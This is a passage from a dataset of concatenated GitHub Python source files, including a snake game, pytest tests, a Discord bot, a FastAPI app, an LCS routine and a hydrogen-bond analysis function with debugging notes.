'+')\r\n for row in matrix:\r\n print('|', *self.render_support(row), '|')\r\n print('+', '-'*((self.width*2)-1), '+')\r\n \r\n def render_support(self, row):\r\n '''changes None to \" \"'''\r\n row_temp = np.copy(row)\r\n for cell in range(len(row_temp)):\r\n if row[cell] == None:\r\n row_temp[cell] = ' '\r\n else:\r\n row_temp[cell] = row[cell]\r\n return row_temp\r\n\r\n def take_direction(self):\r\n step = input()\r\n #direction + body = position\r\n if step == 'w' and not (self.snake.direction==down).all():\r\n self.snake.set_direction(up)\r\n if step == 'a' and not (self.snake.direction==right).all():\r\n self.snake.set_direction(left)\r\n if step == 's' and not (self.snake.direction==up).all():\r\n self.snake.set_direction(down)\r\n if step == 'd' and not (self.snake.direction==left).all():\r\n self.snake.set_direction(right) \r\n\r\n def calc_position(self):\r\n position = np.add(self.snake.head(), self.snake.direction)\r\n #check if step goes into snakes body\r\n for part in self.snake.body:\r\n if (position==part).all():\r\n print('Dead Snake\\nThe Game is Over')\r\n print('Your Score is:', self.score.player_score)\r\n position = np.array([None, None])\r\n #handle board edge cases \r\n if position[0] == 10:\r\n position[0] = 0\r\n if position[0] == -1:\r\n position[0] = 9\r\n if position[1] == 10:\r\n position[1] = 0\r\n if position[1] == -1:\r\n position[1] = 9\r\n #check the apple\r\n self.eat_apple(position)\r\n return position\r\n \r\n def eat_apple(self, position):\r\n loc_apple = np.asarray([self.apple.location[0], self.apple.location[1]])\r\n if (position==loc_apple).all():\r\n #new apple\r\n self.apple.get_location()\r\n #larger snake\r\n self.snake.grow()\r\n #player gets point\r\n self.score.add_point()\r\n\r\nclass Score():\r\n def __init__(self):\r\n self.player_score = 0\r\n \r\n def add_point(self):\r\n self.player_score += 1\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print('This is classes module')","repo_name":"bbartek92/Snake","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"21641109266","text":"# -*- coding:utf-8 -*-\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def FindKthToTail(self, head, k):\n # write code here\n if head ==None or k == 0:\n \treturn head\n p = head\n while k>0:\n \tk-=1\n \tp=p.next\n if k!=0 :\n return p\n res= head\n while p:\n \tp = p.next\n \tres= res.next\n return res","repo_name":"wolkerzheng/code_life","sub_path":"FindKthToTail.py","file_name":"FindKthToTail.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"39032720634","text":"#!/usr/bin/env python3\n\nfrom pathlib import Path\nfrom shutil import rmtree\nfrom pytest import raises\nfrom hashlib import sha512\n\nfrom grinder.plots import GrinderPlots\nfrom grinder.errors import (\n GrinderPlotsCreatePieChartError,\n GrinderPlotsSavePieChartError,\n)\nfrom grinder.defaultvalues import DefaultValues\n\n\nclass PlotsTestDefaultValues:\n \"\"\"\n Needed Paths for test\n \"\"\"\n\n PLOTS_DIRECTORY: Path = (\n Path(\".\")\n .joinpath(DefaultValues.RESULTS_DIRECTORY)\n .joinpath(DefaultValues.PNG_RESULTS_DIRECTORY)\n )\n PLOTS_SUB_DIRECTORY: str = \"test_plots\"\n PATH_TO_FILE: Path = PLOTS_DIRECTORY.joinpath(PLOTS_SUB_DIRECTORY)\n FILE_NAME: str = \"test_plots.png\"\n PATH_WITH_FILE: Path = PATH_TO_FILE.joinpath(FILE_NAME)\n\n\ndef test_plots_file_case():\n \"\"\"\n Check if a directory with a file was created\n and the number of results of the plot\n :return:\n \"\"\"\n plots = GrinderPlots()\n results = {\"test_value\": 1, \"another_one\": 0, \"one_more\": 3}\n plots.create_pie_chart(results=results, suptitle=f\"Test value\")\n plots.save_pie_chart(\n relative_path=PlotsTestDefaultValues.PLOTS_SUB_DIRECTORY,\n filename=f\"{PlotsTestDefaultValues.FILE_NAME}\",\n )\n assert PlotsTestDefaultValues.PATH_TO_FILE.is_dir()\n assert PlotsTestDefaultValues.PATH_TO_FILE.exists()\n assert PlotsTestDefaultValues.PATH_WITH_FILE.exists()\n assert plots.results_figure_id == 1\n\n rmtree(PlotsTestDefaultValues.PATH_TO_FILE)\n\n\ndef test_plots_raise_error_in_creating() -> None:\n \"\"\"\n Test if an error of creating pie chart raising\n in cases of some different types of incorrect values\n :return: None\n \"\"\"\n plots = GrinderPlots()\n results = [None, \"{}\", \"test\"]\n for res in results:\n with raises(GrinderPlotsCreatePieChartError) as create_error:\n plots.create_pie_chart(results=res, suptitle=f\"Test value\")\n assert \"object has no attribute 'values'\" in str(create_error.value)\n assert plots.results_figure_id == 0\n\n results = [{\"test\": None}, {\"another\": \"value\"}, {None: None}]\n for res in results:\n with raises(GrinderPlotsCreatePieChartError) as create_error:\n plots.create_pie_chart(results=res, suptitle=f\"Test value\")\n assert \"unsupported operand type(s) for +:\" in str(create_error.value)\n assert plots.results_figure_id == 0\n\n\ndef test_plots_raise_error_in_saving() -> None:\n \"\"\"\n Test if an error of creating pie chart raising\n in cases of wrong argument\n :return: None\n \"\"\"\n plots = GrinderPlots()\n results = {\"test\": 1}\n with raises(GrinderPlotsSavePieChartError) as create_error:\n plots.create_pie_chart(results=results, suptitle=f\"Test value\")\n plots.save_pie_chart(\n relative_path=PlotsTestDefaultValues.PLOTS_SUB_DIRECTORY, filename=None\n )\n assert \"expected str, bytes or os.PathLike object\" in str(create_error.value)\n if PlotsTestDefaultValues.PATH_WITH_FILE.exists():\n rmtree(PlotsTestDefaultValues.PATH_TO_FILE)\n if PlotsTestDefaultValues.PATH_TO_FILE.exists():\n PlotsTestDefaultValues.PATH_TO_FILE.rmdir()\n\n\ndef test_plots_float_value_case() -> None:\n \"\"\"\n Check the behaviour of creating the pie chart\n in the case of the value of float type\n :return: None\n \"\"\"\n plots = GrinderPlots()\n results = {\"test\": 3.0}\n with raises(GrinderPlotsCreatePieChartError) as create_error:\n plots.create_pie_chart(results=results, suptitle=f\"Test value\")\n assert \"Unknown format code 'd' for object of type 'float'\" in str(\n create_error.value\n )\n assert plots.results_figure_id == 0\n\n\ndef test_plots_empty_value_case() -> None:\n \"\"\"\n Check the behaviour of creating the pie chart\n in the case of an empty dictionary\n :return: None\n \"\"\"\n plots = GrinderPlots()\n results = {}\n plots.create_pie_chart(results=results, suptitle=f\"Test value\")\n plots.save_pie_chart(\n relative_path=PlotsTestDefaultValues.PLOTS_SUB_DIRECTORY,\n filename=f\"{PlotsTestDefaultValues.FILE_NAME}\",\n )\n assert plots.results_figure_id == 0\n assert not PlotsTestDefaultValues.PATH_WITH_FILE.exists()\n assert not PlotsTestDefaultValues.PATH_TO_FILE.exists()\n","repo_name":"sdnewhop/grinder","sub_path":"tests/test_plots.py","file_name":"test_plots.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":278,"dataset":"github-code","pt":"0"}
+{"seq_id":"73249365478","text":"from typing import OrderedDict\nfrom ...builder import CAFFEOPS as OPS\nfrom ... import graph\nimport numpy as np\nimport torch\n\n\n@OPS.register_module()\nclass InnerProduct:\n shortname = \"fc\"\n\n def __init__(self) -> None:\n pass\n\n def __call__(self, layer_param, params):\n output_names = [x for x in layer_param.top]\n input_names = [x for x in layer_param.bottom]\n node = graph.Linear(layer_param.name, input_names, output_names)\n bias = layer_param.inner_product_param.bias_term \n \n node.in_features = params[0].data.shape[1]\n node.out_features = layer_param.inner_product_param.num_output\n node.weight = graph.MMParameter(params[0].data)\n if bias:\n node.bias = graph.MMParameter(params[1].data)\n \n reshape_node = graph.Reshape(input_names[0], input_names, input_names)\n reshape_node.shape = [-1, node.in_features]\n \n return [reshape_node, node]\n","repo_name":"lihui-colin/mmconverter","sub_path":"mmconverter/caffe/ops/innerproduct.py","file_name":"innerproduct.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"6483900771","text":"nro = int(input(\"Numero a multiplicar: \"))\r\n\r\nfor i in range (1,3):\r\n print(f\"Ejercicio {i}\")\r\n nro1 = int(input(\"Digite el primer numero: \"))\r\n nro2 = int(input(\"Digite el segundo numero: \"))\r\n suma = nro1 + nro2\r\n print(f\"La suma de los numeros {nro1} + {nro2} el resultado es: {suma}\")\r\n \r\nprint(\"Gracias por su atencion\")\r\n","repo_name":"SantiagoCasasM/cesde-phyton","sub_path":"ciclofor.py","file_name":"ciclofor.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"671249331","text":"import os\nfrom exceptions import Exit\n\ndef cd(path):\n \"\"\"Change directory\n\n Args:\n path (string): path for new directory\n \"\"\"\n # In case path is not supplied the current directory will be displayed to the console\n if path:\n try:\n os.chdir(path)\n except:\n print(f\"Cannot find path '{path}'' because it does not exist.\")\n else:\n print(os.getcwd())\n\ndef dir_cmd(path):\n \"\"\"List all items of a given directory\n\n Args:\n path (string): path for directory to be listed\n \"\"\"\n # In case path is not supplied the items of the current directory will be listed\n if path:\n try:\n print(*os.listdir(path), sep='\\n')\n except:\n print(f\"Cannot find path '{path}'' because it does not exist.\")\n else:\n print(*os.listdir(), sep='\\n')\n\ndef clear_screen():\n \"\"\"Clear the console\"\"\"\n os.system('cls')\n\ndef exit_shell():\n \"\"\"Exits the program\n\n Raises:\n Exception: Indicates an exit\n \"\"\"\n raise Exit()\n ","repo_name":"OzAltagar7/PythonShell","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"24619689780","text":"\"\"\"Channel registration handling\"\"\"\nimport asyncio\n\nimport asyncpg\nimport discord\n\nimport handlers.request_handler as REQH\nimport handlers.raid_lobby_handler as RLH\nimport handlers.raid_lobby_management as RLM\nimport handlers.sticky_handler as SH\n\nADD_RAID_CHANNEL = \"\"\"\nINSERT INTO valid_raid_channels (channel_id, guild_id)\nVALUES ($1, $2);\n\"\"\"\nINIT_RAID_COUNTER = \"\"\"\nINSERT INTO guild_raid_counters (guild_id)\nVALUES ($1);\n\"\"\"\nasync def database_register_raid_channel(bot, ctx, channel_id, guild_id):\n \"\"\"Registers raid channel within database and initalizes guilds raid counter.\"\"\"\n try:\n async with bot.database.connect() as c:\n await c.execute(ADD_RAID_CHANNEL,\n int(channel_id),\n int(guild_id))\n await c.execute(INIT_RAID_COUNTER,\n int(guild_id))\n bot.guild_raid_counters.update({guild_id:0})\n except asyncpg.PostgresError as error:\n print(f\"[*] An exception occurred while registering a new raid channel. [{error}]\")\n return\n\n print(\"[*][{}][{}] New raid channel registered.\".format(ctx.guild.name, channel_id))\n\nasync def register_request_channel_handle(ctx, bot):\n channel_id = ctx.channel.id\n guild_id = ctx.guild.id\n await REQH.database_register_request_channel(bot, ctx, channel_id, guild_id)\n\nasync def register_raid_channel_handle(ctx, bot):\n channel_id = ctx.channel.id\n guild_id = ctx.guild.id\n await database_register_raid_channel(bot, ctx, channel_id, guild_id)\n try:\n await SH.toggle_raid_sticky(bot, ctx, channel_id, guild_id)\n except discord.DiscordException as e:\n print(\"[!] An error occurred [{}]\".format(e))\n\nADD_RAID_LOBBY_CATEGORY = \"\"\"\nINSERT INTO raid_lobby_category (guild_id, category_id, log_channel_id)\nVALUES ($1, $2, $3);\n\"\"\"\n#UPDATE_LOG_CHANNEL = \"\"\"\n#UPDATE raid_lobby_category\n#SET log_channel_id = $1\n#WHERE (guild_id = $2);\n#\"\"\"\nasync def database_register_raid_lobby_category(bot, ctx, guild_id, category_id, log_channel_id):\n \"\"\"Registers raid lobby category within database and initalizes log.\"\"\"\n results = None\n try:\n results = await bot.database.execute(ADD_RAID_LOBBY_CATEGORY,\n int(guild_id),\n int(category_id),\n int(log_channel_id))\n except asyncpg.PostgresError as error:\n print(\"[!] Error occured registering raid lobby category. [{}]\".format(error))\n if results:\n print(\"[*][{}][{}] New raid lobby category registered.\".format(ctx.guild.name, category_id))\n\n\nasync def register_raid_lobby_category(ctx, bot):\n channel = ctx.channel\n if not channel.category_id:\n embed = discord.Embed(title=\"Error\", description=\"This channel is not in a category. A designated category is necessary to set up a raid lobby system. Create a category and place a channel in there, then run this command again.\", color=0xff8c00)\n await ctx.send(\" \",embed=embed, delete_after=15)\n return False\n\n category_id = channel.category_id\n log_channel_id = channel.id\n #await RLH.set_up_lobby_log_channel(ctx, bot)\n await asyncio.gather(#RLM.set_up_management_channel(ctx, bot, True),\n database_register_raid_lobby_category(bot, ctx, ctx.guild.id, category_id, log_channel_id),\n RLH.create_lobby_roles_for_guild(ctx.guild))\n\nasync def register_raid_lobby_manager_channel(ctx, bot):\n await RLM.set_up_management_channel(ctx, bot, False)\n","repo_name":"TheStaplergun/pogobot","sub_path":"handlers/registration_handler.py","file_name":"registration_handler.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"0"}
+{"seq_id":"71437905317","text":"import unittest\nfrom dqlauncher.session import DQLauncherSession\nfrom dqlauncher.utilities.errors import ValidationError\n\n\nclass TestGetNullCount(unittest.TestCase):\n \"\"\"\n Unit tests for 'get_null_count' method in the Validator class.\n\n This test suite evaluates the behavior of the 'get_null_count' method\n in the Validator class, which is responsible for counting how many null values\n are in a specific column.\n \"\"\"\n\n @classmethod\n def setUpClass(cls):\n app_name = 'Test get_null_count App'\n master = 'local[1]'\n cls.launcher = DQLauncherSession(appName=app_name, master=master)\n\n @classmethod\n def tearDownClass(cls):\n cls.launcher.spark.stop()\n\n def setUp(self):\n self.input_data = [('Paula', '30'),\n ('Marlene', None),\n (None, '67'),\n ('Juan', '30')]\n self.columns = ['nombre', 'edad']\n self.validator_test = self.launcher.createValidator(\n self.input_data, schema=self.columns)\n\n def test_getnull_default(self):\n \"\"\"\n Test case to validate the default behavior of 'get_null_count' method.\n \"\"\"\n result = self.validator_test.get_null_count(self.columns[0])\n expected_output = 1\n self.assertEqual(result, expected_output)\n\n def test_getnull_notvalidinput(self):\n \"\"\"\n Test case to validate that the 'get_null_count' method raises\n a ValidationError when attempting to validate a non-existent column.\n \"\"\"\n with self.assertRaises(ValidationError):\n self.validator_test.get_null_count('telefono')\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"sierrapablo/DQ-Launcher","sub_path":"testing/test_get_null_count.py","file_name":"test_get_null_count.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"778650273","text":"from .LiM_components import concept_matcher, get_polys, graph_propogation\nimport numpy as np\n\nclass LiM:\n def __init__(self, categories):\n self.matcher = concept_matcher(categories)\n self.categories = categories\n def compute(self, anns_det, captions, img_info = None):\n top_concept = self.matcher.caption_typicality(captions)\n if len(anns_det)>1:\n polys = get_polys(anns_det,img_info)\n obj_cats = []\n obj_areas = {}\n adj_mat = np.zeros((len(anns_det), len(anns_det)))\n att_val = np.zeros(len(anns_det))\n for i in range(0,len(anns_det)):\n obj_cat = self.categories[anns_det[i]['category_id']]\n obj_area = anns_det[i]['area']\n if obj_cat in obj_areas:\n obj_areas[obj_cat] += obj_area\n else:\n obj_areas[obj_cat] = obj_area\n obj_cats.append(obj_cat)\n if obj_cat in top_concept.keys():\n att_val[i] = top_concept[obj_cat]*obj_area\n else:\n att_val[i] = 0\n\n for j in range(0,i+1):\n if i == j:\n adj_mat[i,j] = 0\n else:\n weight = 1/max(polys[i].distance(polys[j]),1)\n adj_mat[i,j] = weight\n adj_mat[j,i] = weight\n\n for i in range(0,len(anns_det)):\n att_val[i] /= obj_areas[obj_cats[i]]\n\n importance_score = graph_propogation(att_val, adj_mat)\n importance_score = importance_score / np.sum(importance_score)\n\n elif len(anns_det)==1:\n importance_score = [1]\n\n return importance_score","repo_name":"JoshuaFeinglass/VL-detector-eval","sub_path":"semantic_grounding/core_algorithm/compute_LiM.py","file_name":"compute_LiM.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"36871302947","text":"import numpy as np\r\ndef LCS(X,Y):\r\n c = np.zeros((len(X)+1,len(Y)+1))\r\n X = \" \"+X\r\n Y = \" \"+Y\r\n\r\n for i in range(1,c.shape[0]):\r\n for j in range(1,c.shape[1]):\r\n if X[i]==Y[j]:\r\n c[i,j] = c[i-1,j-1]+1\r\n else:\r\n c[i,j] = max(c[i-1,j],c[i,j-1])\r\n\r\n #Construcción\r\n res = \"\"\r\n i = len(X)-1\r\n j = len(Y)-1\r\n\r\n while(True):\r\n if i==0 or j==0:\r\n break\r\n\r\n if X[i] == Y[j]:\r\n res = X[i]+res\r\n i -= 1\r\n j -= 1\r\n else:\r\n if c[i-1,j]>c[i,j-1]:\r\n i-=1\r\n else:\r\n j-=1\r\n\r\n\r\n return c,res\r\n\r\nprint(LCS(\"ABCBDAB\",\"BDCABA\"))\r\nprint(LCS(\"AFCEA\",\"CFEHA\"))","repo_name":"cardel/Cursos","sub_path":"Semestres/10.Agosto-Diciembre 2021/FADAUSB/12-Nov/LCS.py","file_name":"LCS.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"0"}
+{"seq_id":"41700057380","text":"\"\"\"FastAPI application.\"\"\"\nfrom contextlib import asynccontextmanager\n\nfrom fastapi import FastAPI\nfrom motor.motor_asyncio import AsyncIOMotorClient\n\nfrom dynamic_fastapi.app.config import get_config\nfrom dynamic_fastapi.app.windows import generate_routes, windows_api\nfrom dynamic_fastapi.database.task_types import (\n TaskTypeCollection, register_types_from_db\n)\n\n\n@asynccontextmanager\nasync def _lifespan(app: FastAPI) -> None:\n \"\"\"Lifespan function for FastAPI application.\n\n Handles setup/teardown of the application.\n\n :param app: The FastAPI application.\n \"\"\"\n app_config = get_config()\n\n client = AsyncIOMotorClient(app_config.mongo.host)\n database = client[app_config.mongo.database]\n task_types_db = TaskTypeCollection(database)\n await register_types_from_db(task_types_db)\n client.close()\n\n generate_routes()\n\n app.include_router(windows_api)\n\n yield\n\n\napp = FastAPI(lifespan=_lifespan)\n","repo_name":"maafy6/dynamic_fastapi","sub_path":"dynamic_fastapi/app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"15553039396","text":"# coding=utf-8\n\"\"\"\napp_version\n\nGet version information from ``setup.py`` via ``pkg_resources``.\n\nThe concept is taken from this answer\n\nhttp://stackoverflow.com/a/17638236\n\nwritten by Martijn Pietersp\n\"\"\"\n__author__ = 'Alisue '\n__all__ = ('get_string_version', 'get_tuple_version', 'get_versions')\nimport os\nimport inspect\nfrom pkg_resources import get_distribution\nfrom pkg_resources import DistributionNotFound\n\n\nDEFAULT_STRING_NOT_FOUND = 'Please install this application with setup.py'\nDEFAULT_TUPLE_NOT_FOUND = (0, 0, 0)\n\n\ndef get_string_version(name, default=DEFAULT_STRING_NOT_FOUND,\n allow_ambiguous=True):\n \"\"\"\n Get string version from installed package information.\n \n It will return :attr:`default` value when the named package is not\n installed.\n\n Parameters\n -----------\n name : string\n An application name used to install via setuptools.\n default : string\n A default returning value used when the named application is not\n installed yet\n allow_ambiguous : boolean\n ``True`` for allowing ambiguous version information.\n Turn this argument to ``False`` if ``get_string_version`` report wrong\n version.\n\n Returns\n --------\n string\n A version string or not found message (:attr:`default`)\n\n Examples\n --------\n >>> get_string_version('app_version', allow_ambiguous=True)\n '0.2.1'\n >>> get_string_version('distribution_which_is_not_installed')\n 'Please install this application with setup.py'\n \"\"\"\n # get filename of callar\n callar = inspect.getouterframes(inspect.currentframe())[1][1]\n if callar.startswith('>> get_tuple_version('app_version', allow_ambiguous=True)\n (0, 2, 1)\n >>> get_tuple_version('distribution_which_is_not_installed')\n (0, 0, 0)\n \"\"\"\n from tolerance.decorators import tolerate\n version = get_string_version(name, default=default,\n allow_ambiguous=allow_ambiguous)\n # convert string version to tuple version\n # prefer integer for easy handling\n if isinstance(version, tuple):\n # not found\n return version\n return tuple(map(tolerate(lambda x: x)(int), version.split('.')))\n\n\ndef get_versions(name,\n default_string=DEFAULT_STRING_NOT_FOUND,\n default_tuple=DEFAULT_TUPLE_NOT_FOUND,\n allow_ambiguous=True):\n \"\"\"\n Get string and tuple versions from installed package information\n \n It will return :attr:`default_string` and :attr:`default_tuple` values when\n the named package is not installed.\n\n Parameters\n -----------\n name : string\n An application name used to install via setuptools.\n default : string\n A default returning value used when the named application is not\n installed yet\n default_tuple : tuple\n A default returning value used when the named application is not\n installed yet\n allow_ambiguous : boolean\n ``True`` for allowing ambiguous version information.\n\n Returns\n --------\n tuple\n A version string and version tuple\n\n Examples\n --------\n >>> __version__, VERSION = get_versions('app_version', allow_ambiguous=True)\n >>> __version__\n '0.2.1'\n >>> VERSION\n (0, 2, 1)\n >>> __version__, VERSION = get_versions('distribution_which_is_not_installed')\n >>> __version__\n 'Please install this application with setup.py'\n >>> VERSION\n (0, 0, 0)\n \"\"\"\n version_string = get_string_version(name, default_string, allow_ambiguous)\n version_tuple = get_tuple_version(name, default_tuple, allow_ambiguous)\n return version_string, version_tuple\n\n\nif __name__ == '__main__':\n import doctest; doctest.testmod()\n","repo_name":"lip365/ebagu0.2","sub_path":"env/lib/python2.7/site-packages/app_version/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":5028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"35632722036","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport sklearn\nimport sklearn.neighbors\nimport scipy\nimport scipy.spatial\n\nvecnorm = lambda vec: vec/np.linalg.norm(vec)\nvecangle = lambda v1,v2 : np.arccos(np.dot(vecnorm(v1),vecnorm(v2)))*(180./np.pi)\n\ndef hbonder_framewise(fr,**kwargs):\n\n\t\"\"\"\n\tCompute hydrogen bonds inside a joblib parallel call, over periodic boundary conditions.\n\tSee hydrogen_bonding.py.\n\tUses the old, brute force method for inferring hyrogen bonds.\n\tDeprecated by the non-brute, explicit hydrogen method from the ITP parser code.\n\t\"\"\"\n\n\tdistance_cutoff = kwargs['distance_cutoff']\n\tangle_cutoff = kwargs['angle_cutoff']\n\tlenscale = kwargs.get('lenscale',10.0)\n\tvec = vecs[fr]\n\n\t#---ensure that the points are inside the box\n\tboxstuff = lambda pts,vec : pts-(pts>vec)*vec+(pts0),axis=0)))\n\t#---list of close donors\n\tclose_donors = nns[aind(close_pairs)]\n\tclose_acceptors = close_pairs[:,0]\n\n\t#---now that we have the close matches we can get the subsample of the close hydrogens\n\tpts_h_unstuffed = all_h_coords[fr][close_donors]\n\tpts_h = boxstuff(pts_h_unstuffed,vec)\n\tv1long,v2long = pts_fore[close_acceptors]-pts_h,pts_back[close_donors]-pts_h\n\t#---periodic correction to the hydrogen distances\n\tv1,v2 = (v1long-(v1long>vec/2.0)*vec),(v2long-(v2long>vec/2.0)*vec)\n\t#---combinations of coords_donors indices and assoc_h columns serve as the master indexer\n\tv1n = v1/np.tile(np.linalg.norm(v1,axis=1),(3,1)).T\n\tv2n = v2/np.tile(np.linalg.norm(v2,axis=1),(3,1)).T\n\t#---to avoid large objects try inner1d although I think this is already fast\n\t#---round the dotted values to avoid arccos problems\n\tdotted = (v1n.T*v2n.T).sum(axis=0).round(6)\n\tangles = np.arccos(dotted)*180./np.pi\n\tvalid = np.where(angles>angle_cutoff)[0]\n\tvalid_angles = angles[valid]\n\tvalid_dists = close[aind(close_pairs)][valid]\n\tvalid_donors = close_donors[valid]\n\tvalid_acceptors = close_acceptors[valid]\n\t#---discard the precise angles and distances since we are only trying to count bonds\n\n\t\"\"\"\n\tpicking out the right position:\n\t\tall_donor_coords[fr][np.where(np.all((donors_side.resids==797,donors_side.names=='O6'),axis=0))[0][0]]\n\t\tarray([ 11.59600067, 4.88000011, 4.16400003], dtype=float32)\n\t\tvmd says:\n\t\t\tInfo) molecule id: 0\n\t\t\tInfo) trajectory frame: 686\n\t\t\tInfo) name: O6\n\t\t\tInfo) type: O6\n\t\t\tInfo) index: 94085\n\t\t\tInfo) residue: 1018\n\t\t\tInfo) resname: PI2P\n\t\t\tInfo) resid: 797\n\t\t\tInfo) chain: X\n\t\t\tInfo) segname: \n\t\t\tInfo) x: 26.800001\n\t\t\tInfo) y: 135.780014\n\t\t\tInfo) z: 98.960007\n\t\tlooks like we need to do distance\n\ttrying distance\n\t\tnp.linalg.norm(all_donor_coords[fr][np.where(np.all((donors_side.resids==797,donors_side.names=='O6'),axis=0))[0][0]]-all_donor_coords[fr][np.where(np.all((donors_side.resids==800,donors_side.names=='O5'),axis=0))[0][0]])\n\t\tgiving large distances like 11A\n\tback to the main code to confirm distances with VMD\n\t\tdonors_side.positions[np.where(np.all((donors_side.resids==797,donors_side.names=='O6'),axis=0))[0][0]]\n\t\t\tarray([ 26.80000114, 135.78001404, 98.96000671], dtype=float32)\n\t\t\tand the match is now exact\n\t\tipdb> np.linalg.norm(donors_side.positions[np.where(np.all((donors_side.resids==797,donors_side.names=='O6'),axis=0))[0][0]]-acceptors_side.positions[np.where(np.all((acceptors_side.resids==800,acceptors_side.names=='O5'),axis=0))[0][0]])\n\t\t\t4.1640506\n\t\t\tand the bond length is exact\n\ttracking these positions through the code\n\t\trealized that the all_donor_coords is indexed by donors_inds\n\twent back and reindexed inside the hbonds function\n\t\tipdb> all_donor_coords[fr][np.where(np.all((donors_side[donors_inds[0]].resids==797,donors_side[donors_inds[0]].names=='O6'),axis=0))[0][0]]\n\t\tarray([ 2.68000007, 13.57800102, 9.89600086], dtype=float32)\n\t\tipdb> np.linalg.norm(all_acceptor_coords[fr][np.where(np.all((acceptors_side.resids==800,acceptors_side.names=='O5'),axis=0))[0][0]]-all_donor_coords[fr][np.where(np.all((donors_side[donors_inds[0]].resids==797,donors_side[donors_inds[0]].names=='O6'),axis=0))[0][0]])\n\t\t\t0.41640487\n\tso at this point we have access to the correct points and positions that I see in VMD\n\t\tthe next steps are the box-stuffer\n\t\tfollowed by the bulk of the routine\n\tnow that we have found the pathological bond in VMD and the top of the core compute function, we can begin to search for it in the results from the top down\n\t\tfirst note that the special 4.16A bond we measured above cannot be found in the close array\n\tconstruct two where functions to search for the wrong bond in the close acceptors and donors\n\t\tnp.where(np.all((acceptors_side[close_acceptors].resids==800,acceptors_side[close_acceptors].names=='O5'),axis=0))[0]\n\t\tnp.where(np.all((donors_side[donors_inds[0]][close_donors].resids==797,donors_side[donors_inds[0]][close_donors].names=='O6'),axis=0))[0]\n\t\tnote first that these are repeats since there are several places where each gets close enough to participate in a bond\n\t\twe can check this by putting the wheres back into the sub-indexed (twice in the case of donors) x_side arrays\n\t\tfor now we should combine them into one where function to find the particular combination we are looking for, and then ask why it is getting recorded by checking its apparent angle and distance\n\tthe joint search for the bond we are printing in VMD via vmdmake turns up nothing using the following command\n\t\tipdb> np.where(np.all((donors_side[donors_inds[0]][close_donors].resids==797,donors_side[donors_inds[0]][close_donors].names=='O6',acceptors_side[close_acceptors].resids==800,acceptors_side[close_acceptors].names=='O5'),axis=0))\n\t\t(array([19914]),)\n\t\tin a sense this is good because it means that this bond is not being counted\n\tthe problem now is working backwards from the end of the hbonder_framewise function to see why this was counted, since the problem must be in the interpretation of the results of that function\n\t\tbut first, while we are here, let's drop the name requirement and find all bonds between these two resdiues (797 and 800 on frame 686)\n\t\tthere is one at 19914\n\t\tdonors_side[donors_inds[0]][close_donors][19914],acceptors_side[close_acceptors][19914] says the bond is between OP52 and OP54\n\t\tand this is the one we are plotting already! which is good.\n\t\tthis suggests that there might be a problem way downstream when we are getting multiple bonds\n\t\t\tsince we have direct confirmation that the measurement is only identifying one, then we should go to the vmdmake interface and see why it's plotting two\n\tcontinued in plot-ptdins_snapshots after moving the data back into position in post\n\t\tstarting at the definition of map_red_to_obs\n\t\twe find that the top hit is the resname matchup for our 800-797 pairs (as expected)\n\t\tinterestingly, none of the pairs are between O5 and O6 which means that these two atoms which we are picking up *never* make a close bond\n\tafter plotting the rank 1 (second-ranked) item, I realize we are not at the top-ranked item in the plot I am debugging alongside this in VMD. also, interestingly:\n\t\t>>> bonds[map_red_to_obs[0]]\n\t\tarray([['PI2P', '800', 'O2', 'PI2P', '797', 'O4', 'HO2'],\n\t\t\t['PI2P', '800', 'O2', 'PI2P', '797', 'O5', 'HO2'],\n\t\t\t['PI2P', '800', 'O2', 'PI2P', '797', 'OP43', 'HO2'],\n\t\t\t['PI2P', '800', 'O3', 'PI2P', '797', 'O3', 'HO3'],\n\t\t\t['PI2P', '800', 'O3', 'PI2P', '797', 'O4', 'HO3'],\n\t\t\t['PI2P', '800', 'O3', 'PI2P', '797', 'OP43', 'HO3'],\n\t\t\t['PI2P', '800', 'O6', 'PI2P', '797', 'O13', 'HO6'],\n\t\t\t['PI2P', '800', 'OP52', 'PI2P', '797', 'O13', 'H52'],\n\t\t\t['PI2P', '800', 'OP52', 'PI2P', '797', 'O5', 'H52'],\n\t\t\t['PI2P', '800', 'OP52', 'PI2P', '797', 'O6', 'H52']], \n\t\t\tdtype='|S4')\n\t\t>>> bonds[map_red_to_obs[ranking[rank_num]]]\n\t\tarray([['PI2P', '797', 'O3', 'PI2P', '800', 'O3', 'HO3'],\n\t\t\t['PI2P', '797', 'O6', 'PI2P', '800', 'O2', 'HO6'],\n\t\t\t['PI2P', '797', 'O6', 'PI2P', '800', 'O5', 'HO6'],\n\t\t\t['PI2P', '797', 'O6', 'PI2P', 